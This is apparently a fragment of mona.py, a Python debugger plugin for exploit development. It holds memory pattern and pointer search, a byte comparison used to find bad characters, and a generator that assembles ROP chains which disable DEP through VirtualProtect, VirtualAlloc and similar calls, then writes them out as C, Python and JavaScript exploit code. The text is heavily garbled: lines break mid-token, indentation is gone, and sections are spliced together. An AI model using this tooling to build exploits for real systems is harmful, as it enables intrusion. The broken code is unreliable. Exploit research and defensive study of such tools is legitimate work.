dbg.updateLog()
searchPattern = []
searchPattern.append([originalPattern, bytes])
oldsilent=silent
silent=True
pointers = searchInRange(searchPattern,mBase,mTop,criter
ia)
silent=oldsilent
allpointers = mergeOpcodes(allpointers,pointers)
# filter out bad ones if wildcardsearch is enabled
if wildcardsearch and ptype == "bin":
nrbytes = ( len(pattern) / 4) - len(bytes)
if nrbytes > 0:
maskpart = pattern[len(bytes)*4:]
tocomparewith_tmp = maskpart.split("\\x")
tocomparewith = []
for tcw in tocomparewith_tmp:
if len(tcw) == 2:
tocomparewith.append(tcw)
dbg.log("[+] Applying wildcard mask, %d remaining bytes:
%s" % (nrbytes,maskpart))
remptrs = {}
for ptrtype in allpointers:
for ptr in allpointers[ptrtype]:
rfrom = ptr + len(bytes)
bytesatlocation = dbg.readMemory(rfrom,n
rbytes)
#dbg.log("Read %d bytes from 0x%08x" % (
len(bytesatlocation),rfrom))
compareindex = 0
wildcardmatch = True
if level > 0:
thislevel = 1
while thislevel <= level:
if not silent:
pcnt = 0
for ptype,ptrs in remainingpointers.iter
items():
for ptr in ptrs:
pcnt += 1
dbg.log("[+] %d remaining types found at
this level, total of %d pointers" % (len(remainingpointers),pcnt))
dbg.log("[+] Looking for pointers to pointers, l
evel %d..." % thislevel)
poffsettxt = ""
if
thislevel == poffsetlevel:
dbg.log("
I will apply offset %d (dec
imal) to discovered pointers to pointers..." % poffset)
poffsettxt = "%d(%xh)" % (poffset,poffse
t)
dbg.updateLog()
searchPattern = []
foundpointers = {}
for ptype,ptrs in remainingpointers.iteritems():
for ptr in ptrs:
cnt = 0
#if thislevel == poffsetlevel:
#
ptr = ptr + poffset
while cnt <= rangep2p:
bytes = struct.pack('<I'
,ptr-cnt)
if ptype == "file":
originalPattern
= ptype
if cnt == 0:
searchPattern.ap
pend(["ptr" + poffsettxt + " to 0x" + toHex(ptr) +" (-> ptr to " + originalPatte
rn + ") ** ", bytes])
else:
searchPattern.ap
pend(["ptr" + poffsettxt + " to 0x" + toHex(ptr-cnt) +" (-> close ptr to " + ori
ginalPattern + ") ** ", bytes])
cnt += 1
#only apply rangep2p in
level 1
if thislevel == 1:
rangep2p = 0
remainingpointers = {}
for ranges in p2prangestosearch:
mBase = ranges[0]
mTop = ranges[1]
if not silent:
dbg.log("[+] Searching from 0x%s
to 0x%s" % (toHex(mBase),toHex(mTop)))
dbg.updateLog()
oldsilent = silent
silent=True
pointers = searchInRange(searchPattern,m
Base,mTop,fakeptrcriteria)
silent=oldsilent
for ptrtype in pointers:
if maxcnt < 8:
dbg.log("Error - file does not contain enough bytes (min
8 bytes needed)",highlight=1)
return
locations = []
if startpos == 0:
dbg.log("[+] Locating all copies in memory (%s)" % mode)
btcnt = 0
cnt = 0
linecount = 0
hexstr = ""
hexbytes = ""
for eachByte in srcdata:
if cnt < 8:
hexbytes += eachByte
if len((hex(ord(srcdata[cnt]))).replace(
'0x',''))==1:
hexchar=hex(ord(srcdata[cnt])).r
eplace('0x', '\\x0')
else:
hexchar = hex(ord(srcdata[cnt]))
.replace('0x', '\\x')
hexstr += hexchar
cnt += 1
dbg.log("
- searching for "+hexstr)
global silent
silent = True
results = findPattern({},criteria,hexstr,"bin",0,TOP_USE
RLAND,False)
for type in results:
for ptr in results[type]:
ptrinfo = MnPointer(ptr).memLocation()
if not skipmodules or (skipmodules and (
ptrinfo in ["Heap","Stack","??"])):
locations.append(ptr)
else:
startpos_fixed = startpos
locations.append(startpos_fixed)
if len(locations) > 0:
dbg.log("
- Comparing %d location(s)" % (len(location
s)))
dbg.log("Comparing bytes from file with memory :")
for location in locations:
memcompare(location,srcdata,comparetable,mode, s
mart=(mode == 'normal'))
silent = False
return
def memoized(func):
''' A function decorator to make a function cache it's return values.
If a function returns a generator, it's transformed into a list and
cached that way. '''
cache = {}
def wrapper(*args):
if args in cache:
return cache[args]
import time; start = time.time()
val = func(*args)
if isinstance(val, types.GeneratorType):
val = list(val)
cache[args] = val
return val
wrapper.__doc__ = func.__doc__
wrapper.func_name = '%s_memoized' % func.func_name
return wrapper
class MemoryComparator(object):
''' Solve the memory comparison problem with a special dynamic programmi
ng
algorithm similar to that for the LCS problem '''
Chunk = namedtuple('Chunk', 'unmodified i j dx dy xchunk ychunk')
move_to_gradient =
0:
1:
2:
3:
}
{
(0,
(0,
(1,
(2,
0),
1),
1),
1),
moves[j][i-1] = 1
if i >= 1 and j >= 2 and not equal[j-2][i-1] and value 1 > values[j-2][i-1]:
values[j-2][i-1] = value - 1
moves[j-2][i-1] = 3
return (values, moves)
@memoized
def get_blocks(self):
'''
Compares two binary strings under the assumption that y is the r
esult of
applying the following transformations onto x:
* change single bytes in x (likely)
* expand single bytes in x to two bytes (less likely)
* drop single bytes in x (even less likely)
Returns a generator that yields elements of the form (unmodified
, xdiff, ydiff),
where each item represents a binary chunk with "unmodified" deno
ting whether the
chunk is the same in both strings, "xdiff" denoting the size of
the chunk in x
and "ydiff" denoting the size of the chunk in y.
Example:
>>> x = "abcdefghijklm"
>>> y = "mmmcdefgHIJZklm"
>>> list(MemoryComparator(x, y).get_blocks())
[(False, 2, 3), (True, 5, 5),
(False, 3, 4), (True, 3, 3)]
'''
x, y = self.x, self.y
_, moves = self.get_grid()
# walk the grid
path = []
i, j = 0, 0
while True:
dy, dx = self.move_to_gradient[moves[j][i]]
if dy == dx == 0: break
path.append((dy == 1 and x[i] == y[j], dy, dx))
j, i = j + dy, i + dx
for i, j in zip(range(i, len(x)), itertools.count(j)):
if j < len(y): path.append((x[i] == y[j], 1, 1))
else:
path.append((False,
0, 1))
i = j = 0
for unmodified, subpath in itertools.groupby(path, itemgetter(0)
):
ydiffs = map(itemgetter(1), subpath)
dx, dy = len(ydiffs), sum(ydiffs)
yield unmodified, dx, dy
i += dx
j += dy
@memoized
def get_chunks(self):
i = j = 0
for unmodified, dx, dy in self.get_blocks():
yield self.Chunk(unmodified, i, j, dx, dy, self.x[i:i+dx
], self.y[j:j+dy])
i += dx
j += dy
@memoized
def guess_mapping(self):
''' Tries to guess how the bytes in x have been mapped to substr
ings in y by
applying nasty heuristics.
Examples:
>>> list(MemoryComparator("abcdefghijklm", "mmmcdefgHIJZklm").gu
ess_mapping())
[('m', 'm'), ('m',), ('c',), ('d',), ('e',), ('f',), ('g',), ('H
', 'I'), ('J',),
('Z',), ('k',), ('l',), ('m',)]
>>> list(MemoryComparator("abcdefgcbadefg", "ABBCdefgCBBAdefg").
guess_mapping())
[('A',), ('B', 'B'), ('C',), ('d',), ('e',), ('f',), ('g',), ('C
',), ('B', 'B'),
('A',), ('d',), ('e',), ('f',), ('g',)]
'''
x, y = self.x, self.y
mappings_by_byte = defaultdict(lambda: defaultdict(int))
for c in self.get_chunks():
dx, dy = c.dx, c.dy
# heuristics to detect expansions
if dx < dy and dy - dx <= 3 and dy <= 5:
for i, b in enumerate(c.xchunk):
slices = set()
for start in range(i, min(2*i + 1, dy)):
for size in range(1, min(dy - st
art + 1, 3)):
slc = tuple(c.ychunk[sta
rt:start+size])
if slc in slices: contin
ue
mappings_by_byte[b][slc]
+= 1
slices.add(slc)
for b, values in mappings_by_byte.iteritems():
mappings_by_byte[b] = sorted(values.items(),
key=lambda (value, count):
(-count, -len(value)))
for c in self.get_chunks():
dx, dy, xchunk, ychunk = c.dx, c.dy, c.xchunk, c.ychunk
if dx < dy: # expansion
# try to apply heuristics for small chunks
if dx <= 10:
res = []
for b in xchunk:
if dx == dy or dy >= 2*dx: break
for value, count in mappings_by_
byte[b]:
if tuple(ychunk[:len(val
ue)]) != value: continue
res.append(value)
ychunk = ychunk[len(valu
e):]
dy -= len(value)
break
else:
yield (ychunk[0],)
ychunk = ychunk[1:]
dy -= 1
dx -= 1
for c in res: yield c
# ... or do it the stupid way. If n bytes were c
hanged to m, simply do
# as much drops/expansions as necessary at the b
eginning and than
# yield the rest of the y chunk as single-byte m
odifications
for k in range(dy - dx): yield tuple(ychunk[2*k:
2*k+2])
ychunk = ychunk[2*(dy - dx):]
elif dx > dy:
for _ in range(dx - dy): yield ()
for b in ychunk: yield (b,)
def read_memory(dbg, location, max_size):
''' read the maximum amount of memory from the given address '''
for i in rrange(max_size + 1, 0):
mem = dbg.readMemory(location, i)
if len(mem) == i:
return mem
# we should never get here, i == 0 should always fulfill the above condi
tion
assert False
def shorten_bytes(bytes, size=8):
if len(bytes) <= size: return bin2hex(bytes)
return '%02x ... %02x' % (ord(bytes[0]), ord(bytes[-1]))
def draw_byte_table(mapping, log, columns=16):
hrspace = 3 * columns - 1
hr = '-'*hrspace
log('
,' + hr + '.')
log('
|' + ' Comparison results:'.ljust(hrspace) + '|')
log('
|' + hr + '|')
for i, chunk in enumerate(extract_chunks(mapping, columns)):
chunk = list(chunk) # save generator result in a list
src, mapped = zip(*chunk)
values = []
for left, right in zip(src, mapped):
if left == right: values.append('')
te matches original
elif len(right) == 0: values.append('-1')
te dropped
elif len(right) == 2: values.append('+1')
te expanded
else:
values.append(bin2hex(right))
# by
# by
# by
# by
te modified
line1 = '%3x' % (i * columns) + ' |' + bin2hex(src)
line2 = '
|' + ' '.join(sym.ljust(2) for sym in values)
# highlight lines if a modification was detected - removed, look
s bad in WinDBG
log('
log()
guessed_bc = []
if smart:
# print additional analysis
draw_chunk_table(cmp, log)
log()
guessed_bc = guess_bad_chars(cmp, log, False)
log()
add_to_table('Corruption after %d bytes' % broken[0][0],guessed_
bc)
#-----------------------------------------------------------------------#
# ROP related functions
#-----------------------------------------------------------------------#
def createRopChains(suggestions,interestinggadgets,allgadgets,modulecriteria,cri
teria,objprogressfile,progressfile):
"""
Will attempt to produce ROP chains
"""
global
global
global
global
global
ptr_to_get
ptr_counter
silent
noheader
ignoremodules
#vars
vplogtxt = ""
# RVA ?
showrva = False
if "rva" in criteria:
showrva = True
#define rop routines
routinedefs = {}
routinesetup = {}
virtualprotect
= [["esi","api"],["ebp","jmp esp
"],["ebx",0x201],["edx",0x40],["ecx","&?W"],["edi","ropnop"],["eax","nop"]]
virtualalloc
= [["esi","api"],["ebp","jmp esp
"],["ebx",0x01],["edx",0x1000],["ecx",0x40],["edi","ropnop"],["eax","nop"]]
setinformationprocess
= [["ebp","api"],["edx",0x22],["ecx","&"
,"0x00000002"],["ebx",0xffffffff],["eax",0x4],["edi","pop"]]
setprocessdeppolicy
= [["ebp","api"],["ebx","&","0x0
0000000"],["edi","pop"]]
routinedefs["VirtualProtect"]
= virtualprotect
routinedefs["VirtualAlloc"]
= virtualalloc
# only run these on older systems
osver=dbg.getOsVersion()
if not (osver == "6" or osver == "7" or osver == "8" or osver == "vista"
or osver == "win7" or osver == "2008server" or osver == "win8"):
routinedefs["SetInformationProcess"]
= setinformationprocess
routinedefs["SetProcessDEPPolicy"]
= setprocessdepp
olicy
modulestosearch = getModulesToQuery(modulecriteria)
routinesetup["VirtualProtect"] = """------------------------------------------EAX = NOP (0x90909090)
ECX = lpOldProtect (ptr to W address)
EDX = NewProtect (0x40)
EBX = dwSize
ESP = lPAddress (automatic)
EBP = ReturnTo (ptr to jmp esp)
ESI = ptr to VirtualProtect()
EDI = ROP NOP (RETN)
--- alternative chain --EAX = tr to &VirtualProtect()
ECX = lpOldProtect (ptr to W address)
EDX = NewProtect (0x40)
EBX = dwSize
ESP = lPAddress (automatic)
EBP = POP (skip 4 bytes)
ESI = ptr to JMP [EAX]
EDI = ROP NOP (RETN)
+ place ptr to "jmp esp" on stack, below PUSHAD
--------------------------------------------"""
routinesetup["VirtualAlloc"] = """------------------------------------------EAX = NOP (0x90909090)
ECX = flProtect (0x40)
EDX = flAllocationType (0x1000)
EBX = dwSize
ESP = lpAddress (automatic)
EBP = ReturnTo (ptr to jmp esp)
ESI = ptr to VirtualAlloc()
EDI = ROP NOP (RETN)
--- alternative chain --EAX = ptr to &VirtualAlloc()
ECX = flProtect (0x40)
EDX = flAllocationType (0x1000)
EBX = dwSize
ESP = lpAddress (automatic)
EBP = POP (skip 4 bytes)
ESI = ptr to JMP [EAX]
EDI = ROP NOP (RETN)
+ place ptr to "jmp esp" on stack, below PUSHAD
--------------------------------------------"""
routinesetup["SetInformationProcess"] = """------------------------------------------EAX = SizeOf(ExecuteFlags) (0x4)
ECX = &ExecuteFlags (ptr to 0x00000002)
EDX = ProcessExecuteFlags (0x22)
EBX = NtCurrentProcess (0xffffffff)
ESP = ReturnTo (automatic)
EBP = ptr to NtSetInformationProcess()
ESI = <not used>
EDI = ROP NOP (4 byte stackpivot)
--------------------------------------------"""
routinesetup["SetProcessDEPPolicy"] = """-------------------------------
stepcnt += 1
if not thisreg in skiplist:
regsequences.append(thisreg)
# this must be done first, so we can determine d
eviations to the chain using
# replacelist and skiplist arrays
if str(thistarget) == "api":
objprogressfile.write(" * Enumerating R
OPFunc info",progressfile)
#dbg.log("
Enumerating ROPFunc info")
# routine to put api pointer in thisreg
funcptr,functext = getRopFuncPtr(routine
,modulecriteria,criteria,"iat")
if routine == "SetProcessDEPPolicy" and
funcptr == 0:
# read EAT
funcptr,functext = getRopFuncPtr
(routine,modulecriteria,criteria,"eat")
extra = ""
if funcptr == 0:
extra = "[-] Unable to f
ind ptr to "
thischain[thisreg] = [[0
,extra + routine + "() (-> to be put in " + thisreg + ")",0]]
else:
thischain[thisreg] = put
ValueInReg(thisreg,funcptr,routine + "() [" + MnPointer(funcptr).belongsTo() + "
]",suggestions,interestinggadgets,criteria)
else:
thischain[thisreg],skiplist = ge
tPickupGadget(thisreg,funcptr,functext,suggestions,interestinggadgets,criteria,m
odulecriteria,routine)
# if skiplist is not empty, then
we are using the alternative pickup (via jmp [eax])
# this means we have to make som
e changes to the routine
# and place this pickup at the e
nd
if len(skiplist) > 0:
if routine.lower() == "v
irtualprotect" or routine.lower() == "virtualalloc":
replacelist["ebp
"] = "pop"
#set up call to
finding jmp esp
oldsilent = sile
nt
silent=True
ptr_counter = 0
ptr_to_get = 3
jmpreg = findJMP
(modulecriteria,criteria,"esp")
ptr_counter = 0
ptr_to_get = -1
jmpptr = 0
jmptype = ""
silent=oldsilent
total = getNrOfD
ictElements(jmpreg)
if total > 0:
ptrindex
= random.randint(1,total)
indexcnt
= 1
for regt
ype in jmpreg:
for ptr in jmpreg[regtype]:
if indexcnt == ptrindex:
jmpptr = ptr
jmptype = regtype
break
indexcnt += 1
if jmpptr > 0:
toadd[th
istarget] = [jmpptr,"ptr to '" + jmptype + "'"]
else:
toadd[th
istarget] = [jmpptr,"ptr to 'jmp esp'"]
# make sure the
pickup is placed last
movetolast.appen
d(thisreg)
if str(thistarget).startswith("jmp"):
targetreg = str(thistarget).split(" ")[1
]
#set up call to finding jmp esp
oldsilent = silent
silent=True
ptr_counter = 0
ptr_to_get = 3
jmpreg = findJMP(modulecriteria,criteria
,targetreg)
ptr_counter = 0
ptr_to_get = -1
jmpptr = 0
jmptype = ""
silent=oldsilent
total = getNrOfDictElements(jmpreg)
if total > 0:
ptrindex = random.randint(1,tota
l)
indexcnt= 1
for regtype in jmpreg:
for ptr in jmpreg[regtyp
e]:
if indexcnt == p
trindex:
jmpptr =
ptr
jmptype
= regtype
break
indexcnt += 1
jmpinfo = ""
if jmpptr == 0:
jmptype = ""
jmpinfo = "Unable to find ptr to
'JMP ESP'"
else:
jmpinfo = MnPointer(jmpptr).belo
ngsTo()
thischain[thisreg] = putValueInReg(thisr
eg,jmpptr,"& " + jmptype + " [" + jmpinfo + "]",suggestions,interestinggadgets,c
riteria)
if str(thistarget) == "ropnop":
ropptr = 0
for poptype in suggestions:
if poptype.startswith("pop "):
for retptr in suggestion
s[poptype]:
if getOffset(int
erestinggadgets[retptr]) == 0 and interestinggadgets[retptr].count("#") == 2:
ropptr =
retptr+1
break
if poptype.startswith("inc "):
for retptr in suggestion
s[poptype]:
if getOffset(int
erestinggadgets[retptr]) == 0 and interestinggadgets[retptr].count("#") == 2:
ropptr =
retptr+1
break
if poptype.startswith("dec "):
for retptr in suggestion
s[poptype]:
if getOffset(int
erestinggadgets[retptr]) == 0 and interestinggadgets[retptr].count("#") == 2:
ropptr =
retptr+1
break
if poptype.startswith("neg "):
for retptr in suggestion
s[poptype]:
if getOffset(int
erestinggadgets[retptr]) == 0 and interestinggadgets[retptr].count("#") == 2:
ropptr =
retptr+2
break
if ropptr == 0:
for emptytype in suggestions:
if emptytype.startswith(
"empty "):
for retptr in su
ggestions[emptytype]:
if inter
estinggadgets[retptr].startswith("# XOR"):
if getOffset(interestinggadgets[retptr]) == 0:
ropptr = retptr+2
break
if ropptr > 0:
thischain[thisreg] = putValueInR
eg(thisreg,ropptr,"RETN (ROP NOP) [" + MnPointer(ropptr).belongsTo() + "]",sugge
stions,interestinggadgets,criteria)
else:
thischain[thisreg] = putValueInR
eg(thisreg,ropptr,"[-] Unable to find ptr to RETN (ROP NOP)",suggestions,interes
tinggadgets,criteria)
if thistarget.__class__.__name__ == "int" or thi
starget.__class__.__name__ == "long":
thischain[thisreg] = putValueInReg(thisr
eg,thistarget,"0x" + toHex(thistarget) + "-> " + thisreg,suggestions,interesting
gadgets,criteria)
if str(thistarget) == "nop":
thischain[thisreg] = putValueInReg(thisr
eg,0x90909090,"nop",suggestions,interestinggadgets,criteria)
if str(thistarget).startswith("&?"):
#pointer to
rwptr = getAPointer(modulestosearch,crit
eria,"RW")
if rwptr == 0:
rwptr = getAPointer(modulestosea
rch,criteria,"W")
if rwptr != 0:
thischain[thisreg] = putValueInR
eg(thisreg,rwptr,"&Writable location [" + MnPointer(rwptr).belongsTo()+"]",sugge
stions,interestinggadgets,criteria)
else:
thischain[thisreg] = putValueInR
eg(thisreg,rwptr,"[-] Unable to find writable location",suggestions,interestingg
adgets,criteria)
if str(thistarget).startswith("pop"):
#get distance
if "pop " + thisreg in suggestions:
popptr = getShortestGadget(sugge
stions["pop "+thisreg])
junksize = getJunk(interestingga
dgets[popptr])-4
thismodname = MnPointer(popptr).
belongsTo()
thischain[thisreg] = [[popptr,""
,junksize],[popptr,"skip 4 bytes [" + thismodname + "]"]]
else:
thischain[thisreg] = [[0,"[-] Co
uldn't find a gadget to put a pointer to a stackpivot (4 bytes) into "+ thisreg,
0]]
if str(thistarget)==("&"):
pattern = step[2]
base = 0
top = TOP_USERLAND
type = "ptr"
al = criteria["accesslevel"]
criteria["accesslevel"] = "R"
ptr_counter = 0
ptr_to_get = 2
oldsilent = silent
silent=True
allpointers = findPattern(modulecriteria
,criteria,pattern,type,base,top)
silent = oldsilent
criteria["accesslevel"] = al
if len(allpointers) > 0:
theptr = 0
for ptrtype in allpointers:
for ptrs in allpointers[
ptrtype]:
theptr = ptrs
break
thischain[thisreg] = putValueInR
eg(thisreg,theptr,"&" + str(pattern) + " [" + MnPointer(theptr).belongsTo() + "]
",suggestions,interestinggadgets,criteria)
else:
thischain[thisreg] = putValueInR
eg(thisreg,0,"[-] Unable to find ptr to " + str(pattern),suggestions,interesting
gadgets,criteria)
returnoffset = 0
delayedfill = 0
junksize = 0
# get longest modulename
longestmod = 0
fillersize = 0
for step in routinedefs[routine]:
thisreg = step[0]
if thisreg in thischain:
for gadget in thischain[thisreg]:
thismodname = sanitize_module_name(MnPoi
nter(gadget[0]).belongsTo())
if len(thismodname) > longestmod:
longestmod = len(thismodname)
if showrva:
fillersize = longestmod + 8
else:
fillersize = 0
# modify the chain order (regsequences array)
for reg in movetolast:
if reg in regsequences:
regsequences.remove(reg)
regsequences.append(reg)
returnoffset = getOffset
(interestinggadgets[gadgetstep])
if delayedfill > 0:
vplogtxt += crea
teJunk(delayedfill,"Filler (compensate)",fillersize)
thischaintxt +=
createJunk(delayedfill,"Filler (compensate)",fillersize)
ropdbchain += '
<gadget value="junk">Filler</gadget>\n'
delayedfill = 0
if thisinstr.startswith(
"POP "):
delayedfill = ju
nksize
else:
vplogtxt += crea
teJunk(junksize,"Filler (compensate)",fillersize)
thischaintxt +=
createJunk(junksize,"Filler (compensate)",fillersize)
if junksize > 0:
ropdbcha
in += '
<gadget value="junk">Filler</gadget>\n'
else:
# still could be a pointer
thismodname = MnPointer(gadgetst
ep).belongsTo()
if thismodname != "":
tmod = MnModule(thismodn
ame)
if not thismodname in mo
dused:
modused[thismodn
ame] = [tmod.moduleBase,tmod.__str__()]
modprefix = "base_" + sa
nitize_module_name(thismodname)
if showrva:
alignsize = long
estmod - len(sanitize_module_name(thismodname))
vplogtxt += "
%s + 0x%s,%s # %s\n" % (modprefix,toHex(gadgetstep-tmod.moduleBase),toSize("
",alignsize),steptxt)
thischaintxt +=
"
%s + 0x%s,%s # %s\n" % (modprefix,toHex(gadgetstep-tmod.moduleBase),toSi
ze("",alignsize),steptxt)
else:
vplogtxt += "
0x%s, # %s\n" % (toHex(gadgetstep),steptxt)
thischaintxt +=
"
0x%s, # %s\n" % (toHex(gadgetstep),steptxt)
ropdbchain += '
<gadg
et offset="0x%s">%s</gadget>\n' % (toHex(gadgetstep-tmod.moduleBase),steptxt.str
ip(" "))
else:
vplogtxt += "
0x%s,
%s # %s\n" % (toHex(gadgetstep),toSize("",fillersize),steptxt)
thischaintxt += "
0
x%s,%s # %s\n" % (toHex(gadgetstep),toSize("",fillersize),steptxt)
ropdbchain += '
<gadg
et value="0x%s">%s</gadget>\n' % (toHex(gadgetstep),steptxt.strip(" "))
if steptxt.startswith("[-]"):
vplogtxt += createJunk(r
eturnoffset,"Filler (RETN offset compensation)",fillersize)
thischaintxt += createJu
nk(returnoffset,"Filler (RETN offset compensation)",fillersize)
ropdbchain += '
<gadg
et value="junk">Filler</gadget>\n'
returnoffset = 0
if delayedfill > 0:
vplogtxt += createJunk(d
elayedfill,"Filler (compensate)",fillersize)
thischaintxt += createJu
nk(delayedfill,"Filler (compensate)",fillersize)
ropdbchain += '
<gadg
et value="junk">Filler</gadget>\n'
delayedfill = 0
vplogtxt += createJunk(junksize,
"",fillersize)
thischaintxt += createJunk(junks
ize,"",fillersize)
if fillersize > 0:
ropdbchain += '
<gadg
et value="junk">Filler</gadget>\n'
# finish it off
steptxt = ""
if "pushad" in suggestions:
shortest_pushad = getShortestGadget(suggestions["pushad"
])
junksize = getJunk(interestinggadgets[shortest_pushad])
thisinstr = interestinggadgets[shortest_pushad].lstrip()
if thisinstr.startswith("#"):
thisinstr = thisinstr[2:len(thisinstr)]
thismodname = MnPointer(shortest_pushad).belongsTo()
thisinstr += " [" + thismodname + "]"
tmod = MnModule(thismodname)
if not thismodname in modused:
modused[thismodname] = [tmod.moduleBase,tmod.__s
tr__()]
modprefix = "base_" + sanitize_module_name(thismodname)
if showrva:
alignsize = longestmod - len(thismodname)
vplogtxt += "
%s + 0x%s,%s # %s %s\n" % (m
odprefix,toHex(shortest_pushad - tmod.moduleBase),toSize("",alignsize),thisinstr
,steptxt)
thischaintxt += "
%s + 0x%s,%s # %s %s\n"
% (modprefix,toHex(shortest_pushad - tmod.moduleBase),toSize("",alignsize),thisi
nstr,steptxt)
else:
vplogtxt += "
0x%s, # %s %s\n" % (toHex(sh
ortest_pushad),thisinstr,steptxt)
thischaintxt += "
0x%s, # %s %s\n" % (toHe
x(shortest_pushad),thisinstr,steptxt)
ropdbchain += '
<gadget offset="0x%s">%s</gadget>\n'
% (toHex(shortest_pushad-tmod.moduleBase),thisinstr.strip(" "))
vplogtxt += createJunk(returnoffset,"Filler (RETN offset
compensation)",fillersize)
thischaintxt += createJunk(returnoffset,"Filler (RETN of
fset compensation)",fillersize)
if fillersize > 0:
ropdbchain += '
<gadget value="junk">Filler</
gadget>\n'
vplogtxt += createJunk(junksize,"",fillersize)
thischaintxt += createJunk(junksize,"",fillersize)
if fillersize > 0:
ropdbchain += '
<gadget value="junk">Filler</
gadget>\n'
else:
vplogtxt += "
0x00000000,%s # %s\n" % (toSize("",f
illersize),"[-] Unable to find pushad gadget")
thischaintxt += "
0x00000000,%s # %s\n" % (toSize(
"",fillersize),"[-] Unable to find pushad gadget")
ropdbchain += '
<gadget offset="0x00000000">Unable to
find PUSHAD gadget</gadget>\n'
vplogtxt += createJunk(returnoffset,"Filler (RETN offset
compensation)",fillersize)
thischaintxt += createJunk(returnoffset,"Filler (RETN of
fset compensation)",fillersize)
if returnoffset > 0:
ropdbchain += '
<gadget value="junk">Filler</
gadget>\n'
# anything else to add ?
if len(toadd) > 0:
for adds in toadd:
theptr = toadd[adds][0]
freetext = toadd[adds][1]
if theptr > 0:
thismodname = MnPointer(theptr).belongsT
o()
freetext += " [" + thismodname + "]"
tmod = MnModule(thismodname)
if not thismodname in modused:
modused[thismodname] = [tmod.mod
uleBase,tmod.__str__()]
modprefix = "base_" + sanitize_module_na
me(thismodname)
if showrva:
alignsize = longestmod - len(thi
smodname)
vplogtxt += "
%s + 0x%s,%s
# %s\n" % (modprefix,toHex(theptr - tmod.moduleBase),toSize("",alignsize),freet
ext)
thischaintxt += "
%s + 0x%s
,%s # %s\n" % (modprefix,toHex(theptr - tmod.moduleBase),toSize("",alignsize),f
reetext)
else:
vplogtxt += "
0x%s, # %s\n
" % (toHex(theptr),freetext)
thischaintxt += "
0x%s, #
%s\n" % (toHex(theptr),freetext)
ropdbchain += '
<gadget offset="0x%s"
>%s</gadget>\n' % (toHex(theptr-tmod.moduleBase),freetext.strip(" "))
else:
vplogtxt += "
0x%s, # <- Unable to
find %s\n" % (toHex(theptr),freetext)
thischaintxt += "
0x%s, # <- Unabl
e to find %s\n" % (toHex(theptr),freetext)
ropdbchain += '
<gadget offset="0x%s"
>Unable to find %s</gadget>\n' % (toHex(theptr),freetext.strip(" "))
vplogtxt += '
].flatten.pack("V*")\n'
vplogtxt += '\n
return rop_gadgets\n\n'
vplogtxt += ' end\n'
vplogtxt += '\n\n # Call the ROP chain generator inside the \'e
xploit\' function :\n\n'
calltxt = "rop_chain = create_rop_chain("
argtxt = ""
vplogtxtpy = ""
vplogtxtc = ""
vplogtxtjs = ""
argtxtpy = ""
if showrva:
for themod in modused:
repr_mod = sanitize_module_name(themod)
vplogtxt += " # " + modused[themod][1] + "\n"
vplogtxtpy += " # " + modused[themod][1] + "\n"
vplogtxtc += " // " + modused[themod][1] + "\n"
vplogtxtjs += " // " + modused[themod][1] + "\n
"
vplogtxt += " base_" + repr_mod + " = 0x%s\n" %
toHex(modused[themod][0])
vplogtxtjs += " var base_" + repr_mod + " = 0x%
s;\n" % toHex(modused[themod][0])
vplogtxtpy += " base_" + repr_mod + " = 0x%s\n"
% toHex(modused[themod][0])
vplogtxtc += " unsigned int base_" + repr_mod +
" = 0x%s;\n" % toHex(modused[themod][0])
calltxt += "base_" + repr_mod + ","
argtxt += "base_" + repr_mod + ","
argtxtpy += "base_" + repr_mod + ","
calltxt = calltxt.rstrip(",") + ")\n"
argtxt = argtxt.strip(",")
argtxtpy = argtxtpy.strip(",")
argtxtjs = argtxtpy.replace(".","")
vplogtxt = vplogtxt.replace("create_rop_chain()","create_rop_cha
in(" + argtxt + ")")
vplogtxt += '\n ' + calltxt
vplogtxt += '\n\n\n'
# C
vplogtxt += "*** [ C ] ***\n\n"
vplogtxt += " #define CREATE_ROP_CHAIN(name, ...) \\\n"
vplogtxt += "
int name##_length = create_rop_chain(NULL, ##__
VA_ARGS__); \\\n"
vplogtxt += "
unsigned int name[name##_length / sizeof(unsign
ed int)]; \\\n"
vplogtxt += "
create_rop_chain(name, ##__VA_ARGS__);\n\n"
vplogtxt += " int create_rop_chain(unsigned int *buf, %s)\n" %
", ".join("unsigned int %s" % _ for _ in argtxt.split(","))
vplogtxt += " {\n"
vplogtxt += "
// rop chain generated with mona.py - www.corel
an.be\n"
vplogtxt += "
unsigned int rop_gadgets[] = {\n"
vplogtxt += thischaintxt.replace("#", "//")
vplogtxt += "
};\n"
vplogtxt += "
if(buf != NULL) {\n"
vplogtxt += "
memcpy(buf, rop_gadgets, sizeof(rop_gadgets))
;\n"
vplogtxt += "
};\n"
vplogtxt += "
return sizeof(rop_gadgets);\n"
vplogtxt += " }\n\n"
vplogtxt += vplogtxtc
vplogtxt += " // use the 'rop_chain' variable after this call,
it's just an unsigned int[]\n"
vplogtxt += " CREATE_ROP_CHAIN(rop_chain, %s);\n" % argtxtpy
vplogtxt += " // alternatively just allocate a large enough buf
fer and get the rop chain, i.e.:\n"
vplogtxt += " // unsigned int rop_chain[256];\n"
vplogtxt += " // int rop_chain_length = create_rop_chain(rop_ch
ain, %s);\n\n" % argtxtpy
# Python
vplogtxt += "*** [ Python ] ***\n\n"
vplogtxt += " def create_rop_chain(%s):\n" % argtxt
vplogtxt += "\n
# rop chain generated with mona.py - www.core
lan.be\n"
vplogtxt += "
rop_gadgets = [\n"
vplogtxt += thischaintxt
vplogtxt += "
]\n"
vplogtxt += "
return ''.join(struct.pack('<I', _) for _ in ro
p_gadgets)\n\n"
vplogtxt += vplogtxtpy
vplogtxt += " rop_chain = create_rop_chain(%s)\n\n" % argtxtpy
# Javascript
vplogtxt += "\n\n*** [ JavaScript ] ***\n\n"
vplogtxt += " //rop chain generated with mona.py - www.corelan.
be\n"
if not showrva:
vplogtxt += " rop_gadgets = unescape(\n"
allptr = thischaintxt.split("\n")
tptrcnt = 0
for tptr in allptr:
comments = tptr.split(",")
comment = ""
if len(comments) > 1:
# add everything
ic = 1
while ic < len(comments):
comment += "," + comments[ic]
ic += 1
tptrcnt += 1
comment = comment.replace(" ","")
if tptrcnt < len(allptr):
vplogtxt += "
\"" + toJavaScript(tptr
) + "\" + // " + comments[0].replace(" ","").replace(" ","") + " : " + comment
+ "\n"
else:
vplogtxt += "
\"" + toJavaScript(tptr
) + "\"); // " + comments[0].replace(" ","").replace(" ","") + " : " + comment
+ "\n\n"
else:
vplogtxt += " function get_rop_chain(%s) {\n" % argtxtj
s
vplogtxt += "
var rop_gadgets = [\n"
vplogtxt += thischaintxt.replace(" #"," //").replace("
.","")
vplogtxt += "
];\n"
vplogtxt += "
